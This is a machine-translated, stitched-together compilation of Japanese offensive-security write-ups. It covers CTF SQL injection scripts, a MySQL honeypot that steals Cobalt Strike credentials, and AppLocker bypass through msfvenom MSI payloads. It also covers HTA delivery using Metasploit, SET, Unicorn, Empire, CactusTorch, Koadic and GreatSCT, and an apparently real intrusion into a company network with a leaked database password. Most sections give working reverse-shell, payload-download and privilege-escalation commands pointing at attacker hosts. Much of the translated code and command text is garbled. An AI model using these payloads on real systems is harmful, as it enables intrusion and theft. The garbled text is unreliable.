payload='if(ascii 1.e(substring(1.e(users.info)、{}、1)){}、1,0)'。形式(i、mid)

url='http://162.14.110.241:8099/sql.php?id={}'。形式(ペイロード)

res=requests.get(url)

res.text:の「letian」の場合

min=Mid + 1

else:

max=mid

flag +=chr(min)

I +=1

print( 'found'、flag)

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212032123517.png

4.ez_sql

質問アドレス:http://81.70.155.16033603000/https://NCTF.H4CK.fun/static/upload/files/06b43b853452e30514edf6bd709b3f99.zip

タイトルの説明はソースコードを示します

app.js

Import {Application、Router、Helpers} from 'https://deno.land/x/oak/mod.ts';

'./db.js'からのインポートフライト;

const app=new Application();

const router=new Router();

router.get( '/'、async(ctx)={

ctx.response.body='フライトをチェックしてください `/flight?id=`';

});

router.get( '/flight'、async(ctx)={

const id=helpers.getquery(ctx、{mergeparams: true});

const info=await flight.select({leavess: 'departing'、destination: 'destination'})。where(id).all();

ctx.response.body=info;

});

app.use(router.routes());

app.use(router.allowedMethods());

app.listen({port: 3000、hostname: '0.0.0.0'});

db.js

'https://deno.land/x/denodb@v1.0.40/mod.ts'から{dataTypes、database、model、sqlite3connector}をインポート

const connector=new sqlite3connector({

filepath: '/tmp/flight.db'

});

const db=new Database(connector);

クラスフライトはモデルを拡張します{

静的テーブル='Flight';

静的フィールド={

ID: {PrimaryKey: true、autoincrement: true}、

Department: Datatypes.String、

Destination: datacypes.string、

};

}

クラスフラグはモデルを拡張します{

静的テーブル='flag';

静的フィールド={

flag: datatypes.string、

};

}

db.link([flight、flag]);

await db.sync({drop: true});

flight.createを待っています({

部門:「パリ」、

Destination: '東京'、

});

flight.createを待っています({

部門: 'ラスベガス'、

Destination: 'ワシントン'、

});

flight.createを待っています({

部門:「ロンドン」、

Destination: 'サンフランシスコ'、

});

flag.createを待っています({

flag: deno.env.get( 'flag')、

});

デフォルトフライトをエクスポートします

hack.lu 2022 foodapiとほぼまったく同じ、参照記事は次のとおりです

https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/

https://gist.github.com/parrot409/f7f5807478f50376057fba755865bd98

https://gist.github.com/terjanq/1926a1afb420bd98ac7b97031e377436

唯一の違いは、元の質問IDがRESTFUL APIフォームを使用しているのに対し、この質問はパラメーターに渡されるため、直接コピーすることはできません

ただし、記事で分析された原則を見ると、このアイデアはパラメーターを使用してSQLステートメントをスプライスすることであることがわかります。

http://81.70.155.160:3000/flight?id=1?=aおよび0ユニオン選択フラグ、2から2。

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212041449665.png

添付ファイルのダウンロード:https://github.com/x1ct34m/nctf2022

元のテキストの転載:https://EXP10IT.CN/2022/12/NCTF-2022-web-writeup/#calc

MySQLハニーポットの特定の技術的詳細については、インターネット上にあまりにも多くの記事があります。自分でオンラインで記事を検索できます。紹介を書きます:MySQLには、MySQLデータベースにローカルファイルを読み取ることができるロードデータローカルインフィル機能があります。攻撃者がMySQLパスワードを爆発させてMySQLにスキャンして接続するスキャナーを使用しています(ここで修正します。MySQLハニーポットに接続するだけで、ハニーポットでローカル構成ファイルを読み取ることができます。正しいユーザー名とパスワードを提供する必要はありません)、クライアント(攻撃者)応答パケットにローカルインフィルのロードデータを追加して、攻撃者のローカルファイルをデータベースに読み取り、対策の目的を達成します。 (次の写真はインターネット検索からのものです)

1049983-20220825022141460-187975634.jpg

CSの構成ファイルプレーンテキストストレージパスワード

CSSクライアントを使用してCSSサーバーを使用したコンピューターに接続する限り、CSSクライアントは固定フォルダーで.aggressor.prop構成ファイルを生成します。 Windowsシステムの場合、ファイルの場所はc: \ uses \ administrator \ .aggressor.propです。この構成ファイルには、CSSリモートコントロールのIPアドレス、ポート、ユーザー名、パスワードが含まれており、すべてプレーンテキストにあります!下の図に示すように:

1049983-20220825022142430-800356095.jpg

CSを開くたびに、ログインしたIPアドレス、ポート、ユーザー名、パスワード、その他の情報が表示されます。これらの情報は、local .aggressor.propファイルに保存されます。一般的なコンテンツを以下の図に示します。

1049983-20220825022143279-1148383387.jpg

したがって、MySQLハニーポットを構築したという結論に達しました。攻撃者がハニーポットに接続すると、HoneypotはMSYQLローカルファイルの読み取り脆弱性を使用して、C: \ uses \ administrator \ .aggressor.propファイルのコンテンツを自動的に読み取ります。 Honeypotは、攻撃者のCCSサーバーIPアドレス、ポート、ユーザー名、パスワードを正常に取得できます。

環境実験を正常に構築しました

上記の推測を検証するために、実際にテストする必要があります。 githubからpythonで書かれたmysqlハニーポットスクリプトを見つけて、単にローカルに変更するだけで、ファイル読み取りのパスをC: \ uses \ administrator \ .aggressor.propに変更し、スクリプトを実行します。以下の図に示すように、ローカルポート3306を聴くMySQLハニーポットが構築されています。

1049983-20220825022144010-129097996.png MySQLに接続する赤チーム担当者の動作をシミュレートするために、NAVICATを使用して、このハニーポットのIPアドレスをリモートで接続します。 (もう一度強調するために、MySQLのユーザー名とパスワードを知る必要はありません。間違ったユーザー名とパスワードを入力します。MySQLHoneypotもローカルファイルを読むことができます)

1049983-20220825022144826-675792323.jpg

下の図に示すように、MySQLハニーポットは、現在のディレクトリのログファイルにBase64暗号化されたCS構成ファイルのコンテンツを提供します。

1049983-20220825022146297-1701566919.jpg

Base64が復号化された後の結果は次のとおりです。

1049983-20220825022146930-1358951103.png

取得したIPアドレス、ポート、ユーザー名、およびパスワードはCSSサーバーに接続されていました(次の写真はインターネットからのものです)

1049983-20220825022147634-2014332619.jpg

Windowsの下では、WeChatのデフォルトの構成ファイルはc: \ uses \ username \ documents \ wechatファイルに配置されます。それを調べると、c: \ uses \ username \ documents \ wechat files \ alues \ config \ config.dataが含まれていることがわかります。

0x00はじめに

以前の記事では、「Windows Applockerポリシー - 初心者向けガイド」について説明しました。なぜなら、アプリケーション制御ポリシーとそれらの使用方法に関するApplockerルールを定義しているからです。しかし、今日、あなたはApplocker戦略をバイパスする方法を学びます。この記事では、Windows Applockerポリシーを使用して「cmd.exe」ファイルをブロックし、コマンドプロンプトを取得するためにこの制限をバイパスしようとしました。

0x01 Applocker-Applable Assotions File Format

Windows Applockerは、Windows 7およびWindows Server 2008 R2で導入されたセキュリティポリシーで、不要なプログラムの使用を制限します。この場合、管理者は次のプログラムの実行を制限できます。

1obnmpenjiw8313.png

これは、システム管理者に完全に依存し、プログラムのポリシーを設定するプログラムまたはスクリプトを制限または実行します。コマンドプロンプト(cmd.exe)、powershellまたはdllファイルまたはバッチファイル、rundll32.exe、regsrv.32またはレジャムが表示される場合があります。

fh2d4odny3g8314.png

0x02チャレンジ1:CMD

を取得するためにApplockerをバイパスします

同様の状況にあると仮定すると、上記のアプリケーションはすべてブロックされ、Windowsインストーラーファイルのみ(つまり、msi拡張)は制限なしに実行されます。

では、MSIファイルを使用してこれらの制限をバイパスし、完全な許可シェルを取得するにはどうすればよいですか?

1。 MSIファイルの詳細

MSI名は、Microsoftインストーラーのプログラムのオリジナルタイトルからのものです。それ以来、名前はWindowsインストーラーに変更されています。 MSIファイル拡張ファイルは、Windowsパッケージインストーラーです。インストールパッケージには、Windowsインストーラーによるアプリケーションをインストールまたはアンインストールするために必要なすべての情報が含まれています。各インストールパッケージには、インストールデータベース、要約情報フロー、およびデータフローのさまざまな部分のインストールが含まれる.MSIファイルが含まれています。

Windowsインストーラーテクノロジーは、クライアントインストーラーサービス(MSIEXEC.EXE)とMicrosoft Software Installation(MSI)パッケージファイルなど、組み合わせて使用される2つの部分に分割されています。 Windowsインストーラーは、パッケージファイルに含まれる情報を使用してプログラムをインストールします。

MSIEXEC.EXEプログラムは、Windowsインストーラーのコンポーネントです。インストーラーがそれを呼び出すと、msiexec.exeはmsi.dllを使用してパッケージ(.msi)ファイルを読み取り、変換(.mst)ファイルを適用し、インストーラーが提供するコマンドラインオプションをマージします。インストーラーは、ファイルをハードドライブにコピーしたり、レジストリを変更したり、デスクトップでショートカットを作成したり、必要に応じてインストール設定をユーザーに促したりするダイアログボックスを表示するなど、すべてのインストール関連のタスクを実行します。

Windowsインストーラーがコンピューターにインストールされると、msiファイルの登録されたファイルタイプが変更されるため、msiファイルをダブルクリックすると、msiexec.exeがファイルで実行されます。

各MSIパッケージファイルには、多くのインストール手順でプログラムのインストール(および削除)に必要な命令とデータを保存するリレーショナルデータベースが含まれています。

2。 CMD

を取得するさまざまな方法

(1)。最初の方法:msfvenomを使用して悪意のある.msiファイルを生成

今すぐ、Kaliマシンで新しい端末を開き、CMD.msiとして悪意のあるMSIパッケージファイルを生成しましょう。以下に示すように、Windows/execを使用してExploitを実行してコマンドプロンプトを取得します。

python -m simplehttpserver 80

次に、WindowsコンピューターのCMD.MSIファイルを転送して、管理者としてコマンドプロンプトシェルを取得します。ここでは、Python HTTPサーバーを使用して、ネットワーク内のファイルを共有します。

ukwf0noen4d8315.png

ローカルコンピューターに.msiファイルをダウンロードした後、次の構文を使用して、コマンドプロンプトでmsiexec.exeを使用してmsiファイルを実行できます。

構文:msiexec /quiet /imsiexec /ciet /i c: \ users \ raj \ desktop \ cmd.msi

jcmtt4fhhac8316.png

実行プロンプトの上記のコマンドをクリックしている限り、コマンドプロンプトを取得します。

nfktssfij5u8317.png

(2)。 2番目の方法:MSFVENOMを使用して、Malious.msiファイルを生成

注:別の拡張機能でcmd.msiファイルを変更しても、ルールをバイパスします。

上記の手順を繰り返して、MSFvenomと同じペイロードを持つMSIファイルを生成し、cmd.pngという名前を生成します。 kaliにcmd.msiファイルをすでに持っているので、cmd.pngに変更し、pythonサーバーを使用して転送しました

qjqfvsemevx8318.png

ローカルコンピューター(管理者がCMD.exeをブロックするWindowsオペレーティングシステム)にcmd.pngファイル(実際には.msiファイル)をダウンロードした後、次の構文を使用して、実行プロンプトでmsiexec.exeを使用して.msiファイルを実行できます。

構文:msiexec /q /i

msiexec /q /i http://192.168.1.107 /cmd.png

gqu1qrf2wd38319.png

実行プロンプトの上記のコマンドをクリックしている限り、コマンドプロンプトを取得します。

zz35lipvvck8320.png

(3)。 3番目の方法:MSFVENOMを使用して、Malious.msiファイルを生成

上記の方法では、Windows/Exec Payloadを使用してコマンドプロンプトを取得しますが、Windows/MeterPreter/Reverse_TCPペイロードを使用してMeterPreterセッションを介して完全な権限を備えたコマンドシェルを取得します。

MSFVENOM -P Windows/MeterPreter/Reverse_TCP LHOST=192.168.1.107 LPORT=1234 –F MSI SHELL.MSI

次に、Windowsコンピューターのshell.msiファイルを再度転送して、管理者としてコマンドプロンプトシェルを取得し、マルチ/ハンドラーを開始します。ここでは、Python HTTPサーバーを使用して、ネットワーク内のファイルを共有します。

0bpfbeppxov8321.png

ローカルコンピューター(管理者がCMD.exeのWindowsオペレーティングシステムをブロックする)にshell.msiファイルをダウンロードした後、次の構文を使用して、実行プロンプトでmsiexec.exeを使用して.msiファイルを実行できます。

構文:msiexec /q /i

msiexec /q /i 3http://192.168.1.107 /shell.msi

xr3kgtxlx4x8322.png

実行プロンプトの上記のコマンドをクリックする限り、このペイロードのメータープレターセッションを使用してコマンドプロンプトを取得します。

MSFはExploit/Multi/Handlerを使用します

MSF Exploit(ハンドラー)Payload Windows/MeterPreter/Reverse_TCPを設定します

MSFエクスプロイト(ハンドラー)セットLHOST 192.168.1.107

MSFエクスプロイト(ハンドラー)セットLポート1234

MSFエクスプロイト(ハンドラー)エクスプロイト

メータープレターシェル

bgu0p3w11jc8323.png

0x03チャレンジ2:管理者グループのローカルユーザーメンバーを作成

あなたが同様の状況にあると仮定すると、上記のアプリケーションはすべてブロックされ、Windowsインストーラーファイル(つまり.MSI拡張機能)のみが制限なしに実行されます。

では、MSIファイルを使用してこれらの制限をバイパスし、管理者グループのローカルユーザーメンバーにCMD.Exeの実行を防ぐにはどうすればよいですか?注:このAARUは、以下に示すように、非滞在者のユーザーアカウントではなくローカルユーザーアカウントです。

u0yjo35zr3c8324.png

Applockerがルールポリシーを実行するため、CMD.exeがローカルマシンでブロックされていることがわかっているため、コマンドプロンプトを使用して管理者グループにAaruを追加することはできません。

vg5mm5nai2i8325.png

(1)。4番目の方法:msfvenomを使用してmalious.msiファイルを生成

Windows/Execペイロードを使用してMSIパッケージをadmin.msiとして生成します。これにより、ユーザーAaruのローカル管理者の特権をターゲットコンピューターに追加するようにユーザーAaruに指示するコマンドが送信されます。

msfvenom -p Windows /exec cmd='net localgroup管理者aaru /add' -f msi admin.msi

次に、WindowsコンピューターのAdmin.msiファイルを転送して、Aaruを管理者グループに追加します。ここでは、Python HTTPサーバーを使用して、ネットワーク内のファイルを共有します。

3yqf340rolk8326.png

ローカルコンピューターのadmin.msiファイルをダウンロードした後(管理者がcmd.exeのWindowsオペレーティングシステムをブロックする場合)、次の構文を使用して、実行プロンプトでmsiexec.exeを使用してadmin.msiファイルを実行できます。

構文:msiexec /q /imsiexec /q /i 3http://192.168.1.107 /admin.msi

hfo1dgfpcl28327.png

実行プロンプトの上記のコマンドをクリックしている限り、Aaruユーザーが管理者アカウントの一部になっていることを確認できます。

ib44zexv5ru8328.png

この記事では、MSIファイルを使用してオペレーティングシステムのポリシー制限をバイパスする方法を学びます。ここでは、CMD.EXEおよびその他のアプリケーションが管理者によってブロックされます。

参考文献:https://Support.microsoft.com/en-gb/help/310598/overview-of-windows-installer-technology

https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-it

0x00はじめに

長い間、HTAファイルはWebで攻撃されているか、悪意のあるプログラムの一環としてワイルドマルウェアダウンロード者によって使用されています。 HTAファイルは、サイバーセキュリティの分野でよく知られており、赤と青のチームの観点からは、アプリケーションのホワイトリストをバイパスする貴重な「古い」方法の1つです。 Microsoft HTMLアプリケーションホストでMSHTA.EXEを実行し、Windows OSユーティリティはHTA(HTMLアプリケーション)ファイルの実行を担当します。 JavaScriptまたはVisualでHTMLファイルを実行できます。 Microsoft Mshta.exeツールを使用して、これらのファイルを解析できます。

0x01 htaの重要性

最後に、ブラウザー分類に基づいてhtaccessファイルまたはその他のポリシーで転送することで、利用率の改善に役立ちます。 HTAファイルを使用して、Webベースの攻撃を実行します。 HTAファイルには多くの柔軟性があります。 Adobe Updaterのように効果的に見せます。さらに、HTTPを少しSSLインターセプト/ブロックすることなく、HTAファイルの発見率を制限することも役立ちます。 HTAレコードは、まだよく認識されていないため、迂回します。最後には重要ではないHTAをフィッシングに使用して、古いJavaアプレットを置き換えることもできます。

0x02攻撃方法

以下に示すように、HTA攻撃には多くの方法があります。

Metasploit

Setoolkit

マジックユニコーン

msfvenom

帝国

サクストーチ

Koadic

素晴らしいsct

1。最初の方法:Metasploit

最初の方法は、Metasploitでのインビルドエクスプロイトを使用することです。これを行うには、kaliの端末を入力してコマンドを入力してください:msfconsole

MetaSploitには、悪意のあるHTAファイルを生成する「HTA Webサーバー」モジュールが含まれています。このモジュールは、開いたときにPowerShellを介してペイロードを実行するHTMLアプリケーション(HTA)をホストします。ユーザーがHTAファイルを開くと、IEはエクスプロイトを実行する前にユーザーに2回プロンプトします。 Metasploitが起動したら、次のコマンドを入力してください。

Exploit/Windows/MISC/HTA_SERVERを使用します

MSF Exploit(Windows/MISC/HTA_SERVER)SET SRVHOST 192.168.1.109

MSFエクスプロイト(Windows/MISC/HTA_SERVER)Exploit

goevbhhrt5k8329.png

エクスプロイトが実行されると、拡張機能.htaとのURLリンクが得られます。一方、Metasploitは、ファイルを共有できるサーバーを起動します。このリンクも、被害者のPCで実行する必要があります。次のコマンドを使用します。

MSHTA.EXE http://192.168.1.109:8080/PKZ4KK059NQ9.HTA

HTAの通常のファイル拡張子は.htaです。 HTAは拡張機能を使用して実行可能であると見なされるため、上記のコマンドを使用しました。したがって、MSHTA.EXEを介して実行されます。 HTAがMSHTA.EXEによって開始されると、PowerShellを呼び出してペイロードをメモリに直接注入できるように、署名されたMicrosoftバイナリを使用します。

f3gqku0behk8330.png

上記のコマンドを実行した後、セッションを開きます。セッションにアクセスするには、次のコマンドを入力します。

セッション1

したがって、メータープレターセッションがあります

dhtl4r3hrgw8331.png

2。 2番目の方法:Setoolkit

HTA攻撃方法は、Setoolkitを介して実行されます。これを行うには、KaliでSetoolkitを開きます。メニューから最初のオプションを選択し、1を入力し、ソーシャルエンジニアリング攻撃を選択する最初のオプションを選択します。

p3ya05daswf8332.png

次の指定されたメニューから、2を入力して2番目のオプションを選択して、Webサイト攻撃ベンダーを選択します

wiaevmglftz8333.png

次の指定されたメニューからオプション8を入力して、HTA攻撃方法を選択します

nfnq3lca4538334.png

HTA攻撃用にオプション8を選択したら、次にオプション2を選択する必要があります。これにより、サイトをクローンすることができます。オプション2が選択されると、クローンするサイトのURLが要求されます。必要に応じて、url:www.ignitectologies.inここで提供されています

bmqulm3ba128335.png

URLを提供した後、目的のメータープレタータイプを選択するように依頼します。 3を入力して、3番目のMeterPrter Reverse TCPを選択します。

314kq4ikums8336.png

3を入力すると、Enterを押すと、プロセスが開始され、ハンドラー(マルチ/ハンドラー)があります

m3qthejblb18337.png

次に、悪意のあるIPを短いリンクに変換します。このリンクを被害者と共有すると、被害者により現実的な攻撃が表示されます。

mmbc2hdf05e8338.png

被害者が上記の悪意のあるリンクを閲覧すると、下の図に示すように、ファイルは被害者のコンピューターに自動的に保存され、保存後に実行されます。

zaff3h4zf3v8339.png

その後、メータープレターセッションがあります。コマンド「sysinfo」を使用して、被害者のコンピューターに関する基本情報を取得できます

324l4mg51tq8340.png

3。 3番目の方法:Magic Unicorn

HTA攻撃の次の方法は、Unicornのサードパーティツールを使用することです。マジックユニコーンツールは、デイブケネディによって開発されました。これは、シェルコードをメモリに直接注入することでHTA攻撃を実行できるようにするユーザーフレンドリーなツールです。このツールの最大の部分は、Metasploitとシェルコードとコバルトストライクと互換性があることです。ソフトウェアをTrustedSec.comで詳細に表示するか、GitHubからダウンロードするか、次のリンクを使用してダウンロードしてください:https://Github.com/trustedsec/unicorn

Magic Unicornをダウンロードしたら。 Kaliのターミナルで開いてENTER:

python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.109 1234 hta

dhkkr32eux08341.png

上記のコマンドを実行して、htaファイルを作成するプロセスを開始します。アピール.htaファイルは、フォルダーhta-attack/に作成されます。フォルダーを入力し、次のコマンドを入力して作成されたファイルリストを表示します。

cd hta_attack/

ls

これで、htaファイル、つまりLauncher.htaを見ることができます。 Pythonサーバーを起動して、このファイルを共有します。これを行うには、次のコマンドを入力してください。

python -m simplehttpserver 80

ink03x5o4wo8342.png

サーバーが稼働した後、被害者PCのCMDプロンプトで次のコマンドを実行します。

Mshta.exe http://192.168.1.109/Launcher.hta

i2tx32enyp48343.png

上記のコマンドを実行すると、マルチ/ハンドラーでセッションをアクティブにします。セッションにアクセスするには、次のコマンドを入力します。

セッション1

2adcjkq1ier8344.png

4。 4番目の方法:msfvenom

HTA攻撃の次の方法は、MSFvenomを介して.htaファイルを手動で作成することです。htaファイルを作成するには、Kaliターミナルに次のコマンドを入力してください。

MSFVENOM -P Windows/MeterPreter/Reverse_TCP LHOST=192.168.1.109 LPORT=1234 -F HTA -PSH SHELL.HTA

上記のコマンドを実行して、利用できる.htaファイルを作成します。ファイルを作成した後、Pythonサーバーを開き、次のと入力して被害者のPCにファイルを共有します。

python -m simplehttpserver 80

snidzpgakht8345.png

上記のファイルを実行するには、次のコマンドを入力してください。

MSHTA.EXE HTTP:192.168.1.109/shell.hta

1pb41h1kpwl8346.png

一方、被害者のコマンドプロンプトで上記のファイルを実行するとき、ハンドラーを起動してセッションを受け取ります。マルチ/ハンドラーを開始するには、次のコマンドを入力してください。

Exploit/Multi/Handlerを使用します

MSF Exploit(Multi/Handler)Payload Windows/MeterPreter/Reverse_tcpを設定します

MSF Exploit(Multi/Handler)セットLHOST 192.168.1.109

MSF Exploit(Multi/Handler)Set LPort 1234

MSF Exploit(Multi/Handler)Exploit

したがって、このシンプルな方法を使用することで、MeterPreterセッションを取得します。 Sysinfoを使用して、被害者のPCに関する基本情報を表示できます。

d2xnmtpdqrh8347.png

5。 5番目の方法:Powershell Empire

次のMSBuild攻撃方法では、帝国を使用します。帝国は開発後のフレームワークです。これまでのところ、XMLツールをMetasploitに一致させてきましたが、このアプローチではEmpire Frameworkを使用します。これは単なるPythonベースのPowerShell Windowsプロキシであり、非常に便利です。 Empireは、 @harmj0y、 @sixdub、 @enigam0x3、rvrsh3ll、 @killswitch_gui、@xorrierによって開発されています。このフレームワークはhttps://github.com/empireproject/empireからダウンロードできます。

帝国の基本ガイドを取得するには、記事をご覧ください。

https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/

Empire Frameworkを開始した後、リスナーを入力して、アクティブなリスナーがいるかどうかを確認します。下の図に示すように、アクティブなリスナーはありません。リスナーを設定するには、次のコマンドを入力してください。

uselistener http

ホストhttp://192.168.1.109を設定します

ポート80を設定します

実行する

上記のコマンドを使用して、アクティブなリスナーを取得します。戻ってリスナーを終了してPowerShellを開始します。

pbh03eob2b58348.png

MSBUILD攻撃には、Stagerを使用します。帝国のStagerは、悪意のあるコードが感染したホストのプロキシを実行できるようにするコードです。したがって、このタイプの場合、次のコマンドを入力します。

UseStager Windows/HTA

リスナーhttpを設定します

Outfile /root/desktop/1.htaを設定します

実行する

UseStagerは、1.HTAという名前のOutfileに保存される悪意のあるコードファイルを作成します。ファイルが実行されると、リスナーで結果が表示されます。次のコマンドを入力して、被害者のファイルを実行します。

MSHTA.EXEhttp://192.168.1.109:80/1.H

セッションがあるかどうかを確認するには、入力コマンド「エージェント」を開きます。そうすることで、あなたが持っているセッションの名前が表示されます。セッションにアクセスするには、次のコマンドを入力します。

l924z1wrを操作します

上記のコマンドを使用すると、セッションにアクセスできます

sysinfo

情報

fzukhk5dr538349.png

6。 6番目の方法:Cactustorch

Cactustorchは、JavaScriptおよびVBScriptシェルコードランチャーのフレームワークです。 Vincent Yiuによって開発されました。このツールは、多くの一般的な防御をバイパスできます。これは私たちにとって利点です。注意すべき主な問題は、Cactustorchで使用するコードがMSFvenomを介して作成され、それがサポートするだけでBase64にエンコードされることです。

それで、まずマルウェアを作成してから暗号化しましょう。

MSFVENOM -P Windows/MeterPreter/Reverse_TCP LHOST=192.168.1.109 LPORT=1234 -F RAW 1.bin

次に、ファイルタイプを暗号化します。

cat 1.bin | base64 -W 0

後で使用するためにBase64コードをコピーします。

veid1effofo8350.png

マルウェアの準備ができたので、Cactustorchをダウンロードしましょう。ここからダウンロードできます:

https://github.com/mdsecactivebreach/cactustorch

インストールが完了したら、インストールされているフォルダーの内容に次の内容を入力します。

ls -la

./cactustorch.hta

上記のコマンドは、HTA攻撃のためにCactustorchを開始します

0kt4lswzdx58351.png

Cactustorchが開始されたら、Base64コードを下の図に示す顕著なコードに貼り付け、以前にコピーしました。

kflc421g0zf8352.png

コードを追加するときは、キーイングによって被害者のPCでファイルを実行しましょう。

Mshta.exe http://192.168.1.109/cactustorch.hta

a5vklmhrlvq8353.png

同時に、マルチ/ハンドラーを開始してセッションを受け取ります。マルチ/ハンドラーの場合、次のコマンドを入力してください。

Exploit/Multi/Handlerを使用します

MSF Exploit(Multi/Handler)Payload Windows/MeterPreter/Reverse_tcpを設定します

MSF Exploit(Multi/Handler)セットLHOST 192.168.1.109

MSF Exploit(Multi/Handler)Set LPort 1234

MSF Exploit(Multi/Handler)Exploit

被害者のPCでファイルを実行した後、MeterPreterセッションが取得されます。

jmjkmvaxipx8354.png

7。 7番目の方法:koadic

次の方法は、Koadicを使用することです。 Koadicは、MeterPreterやPowerShellempireなどの他の浸透試験ツールに似た後期開発のルートキットです。 Koadicの詳細については、以下のリンクを介して上記のフレームワークに関する詳細な記事をご覧ください:https://www.hackingarticles.in/koadic-command-control-framework

Koadicが稼働したら、情報を入力して、セッションに提供するために必要なヘルプ情報の詳細なリストを取得します。情報を表示することにより、srvhostとendpointを設定する必要があります。したがって、それらを設定するには、入力してください。

SRVHOST 192.168.1.107を設定します

エンドポイントの販売を設定します

走る

0ejhemvyace8355.png

次のと入力して、被害者のPCにあるファイルを実行します。

http://192.168.1.107:9999/販売

実行中のセッションが表示されます。セッションタイプの名前を知るには、次のコマンドを入力してください。

ゾンビ

次に、セッションタイプにアクセスするには、次のコマンドを入力してください。

ゾンビ0

2fim0w4nvno8356.png

8。 8番目の方法:greatsct

GreatSCTは、Metasploit Exploitを使用できるツールであり、ほとんどのアンチウイルスをバイパスできるようにします。 GreatSCTは現在、@ConsciousHackerによってサポートされています。次のアドレスからダウンロードできます。

https://github.com/greatsct/greatsct

ダウンロードと実行後、次のコマンドを入力してモジュールにアクセスします。

バイパスを使用します

ogoe0mnach28357.png

ペイロードリストタイプを表示するには、リストコマンドを入力します。

リスト

kfiz1gi3at28358.png

これで、ペイロードテーブルから、任意のターゲットを選択して、目的の攻撃を実行できます。しかし、この種の攻撃のために:私たちは以下を使用します。

MSHTA/shellcode_inject/base64_migrate.pyを使用します

eawqaklhjq38359.png

コマンドを実行した後、次のコマンドを入力してください。

生成する

0x01はじめに

イントラネットの浸透とMSFの使用を学習するために、このテストのターゲットとして特定の台湾技術グループの下でサイトをランダムに見つけました。 2013年9月に、サブドメインのWebシェル許可を取得し、テストを継続しませんでした。当時、Symantecはサーバーにインストールされていませんでしたが、2回目のテストに行ったとき、Symantecがインストールされ、いくつかのセキュリティ強化が実行されたことがわかりました。

0x02ウェブサイトとイントラネットの基本情報コレクション基本情報検出:ターゲットサイト:http://wwww.ttes *****。コムサーバーIP:59。予想外に、彼らはウェブシェル(fckeditor)を非常にスムーズに手に入れました。メインサイトが脆弱性を見つけることができない場合は、「サイドステーション」または「サブドメイン」を開始できます。

この記事では、MSFツールの使用と困難の解決に焦点を当てているため、WebShellを取得する方法についてはあまり説明しません。許可を取得した後に収集されたサーバー情報は次のとおりです。

ポートオープン:25、80、135、445、1025、1521、3389パッチステータス:サーバーシステムには460+パッチ(64ビット)スクリプト検出があります。サーバーはASPおよびASPX拡張名ディスク許可をサポートしています。 ipconfig /allコマンドは、ホスト名がwebsrv4、ip:192.168.0.203、dns:192.168.3.1であることを確認できます。

Windows IP構成ホスト名。 。 websrv4接続固有のDNSサフィックス。 IPアドレス。 。 192.168.0.203サブネットマスク。 。 255.255.255.0デフォルトゲートウェイ。 。 192.168.0.254 DNSサーバー。 。 192.168.3.1 168.95.1.1NETビュー /ドメインコマンドは、2つのドメインとワークグループがあることを確認できます:7PV1V1S、TT、ワークグループ、および生存するホストの対応するIPアドレスがワークグループに示されています。

多くのTTドメインホストがあり、別のテーブルが配置されています。ドメイン制御は次のとおりです。192.168.3.1。ここでは、ワーキンググループと各ドメインの組織構造と、あなた自身の経験に基づいて各ホストが演じる役割を分析できます。

1049983-20220119230420557-498404394.jpg

0x03 WebShell Power-Enhanced Defense Software

このホスト制御ホストの現在のシステムは、Windows 2003 x64です。 X64に利用できるExpがあまりないことは知っていますが、試してみる必要があります。結果はすべて失敗します。オラクルは、権力のエスカレーションにさらされたことがなく、私はそれについてあまり知りません。私はそれを脇に置きます。

ASPXとMSSQLが最高のパートナーであることを誰もが知っています。 web.config構成ファイルでデータベース接続情報を見つけます。ここでは、MSSQLデータベースが、サイトライブラリの分離であるIntranet 192.168.0.0.206のホストで実行されていることがわかります。

name='ttes ***** _ enconnectionString1' connectionString='data source=192.168.0.206;初期カタログ=ttes ***** _グローバル;永続セキュリティ情報=true; user id=sa; password=tt@12345' providername='system.data.sqlclient'/next next next next next next noct of to next next nect of to next nex 192.168.0.0.206、XP_CMDSHELLコンポーネントがコマンドを実行して管理者ユーザーを追加してから、PORTFWDコマンドを使用してポート3389ポートを転送します。

1049983-20220119230420983-1701056968.jpg注:一部の学生は、マレーシアでポートマッピング機能を直接使用することは大丈夫だと言うかもしれませんが、とにかく成功していません。私の姿勢に何か問題があるのだろうか。まあ、それはそうでなければならない、それはまだ悪いです!

Test $ Administratorユーザーが正常に追加され、次のステップはLCXポート転送ツールを使用することです。誰もが203のホストでアップロードおよび実行されていることを理解する必要がありますが、206のデータベースホストのうち3389です。

c: \ recycler \ lcx.exe-外部ネットワークIP 51 192.168.0.206 3389注:192.168.0.0.203このホストには防御ソフトウェアはありません。 LCX.exeを読み取り可能な書き込み可能なディレクトリに直接アップロードして、正常に実行できます。ただし、記事を書くとき、Symantecがインストールされていることがわかりました。 LCX.EXEおよびさまざまなExpsは、アップロードプロセス中にブロックされています。また、一般的に使用されるVBS、BAT、EXE、アップロード、ダウンロード、修正、展開メソッド、および悪意のある動作として検出される操作を試しました。

Symantecエンドポイント保護プロセス:SMC.EXE、SNAC.EXE、CCSVCHST.EXE、RTVSCAN.EXESYMANTECエンドポイント保護防衛ソフトウェアのリスクログは、デフォルトで14日間のみ保存されます。サーバーを入力した後、それ自体で設定できます。後のテストでは、下の図に示すように、FCKEDITORが共通:1文、ポニー、マレーシアなどなど、FCKEDITORがWebShellをアップロードしたときにも傍受されたことがわかりました。 WAFを通過した馬をより多くの馬にテストして、バイパスできるかどうかを確認できますか?

テスト記録:1。イントラネット環境、サイトライブラリ分離、web.configはデータ(192.168.0.206)SAユーザーを見つけて、管理者ユーザーを正常に追加しました。 2。Web(192.168.0.203)およびデータ(192.168.0.206)はSymantecをインストールしており、LCX.exeおよびその他のツールを使用できません。 3.他の転送ツールをテストした後、それらは傍受されるか使用できず、Reduhは現在の203を転送することができ、速度は非常に遅くなります。 4.MSFPayloadによって生成されたEXEファイルも検出され、サーバーはX64であり、MSFENCODEにはX64エンコーダーがないため、この道路はアクセスできません。

0x04ポート転送用の防御ソフトウェアをバイパス

Google検索を通じて記事でアイデアを入手し、MSFPayLoadを使用してASPXリバウンドスクリプトを生成し、MeterPreterセッションを取得し、PortFWDコマンドを使用してデータベースサーバーの3389ポート192.168.0.206を転送します。

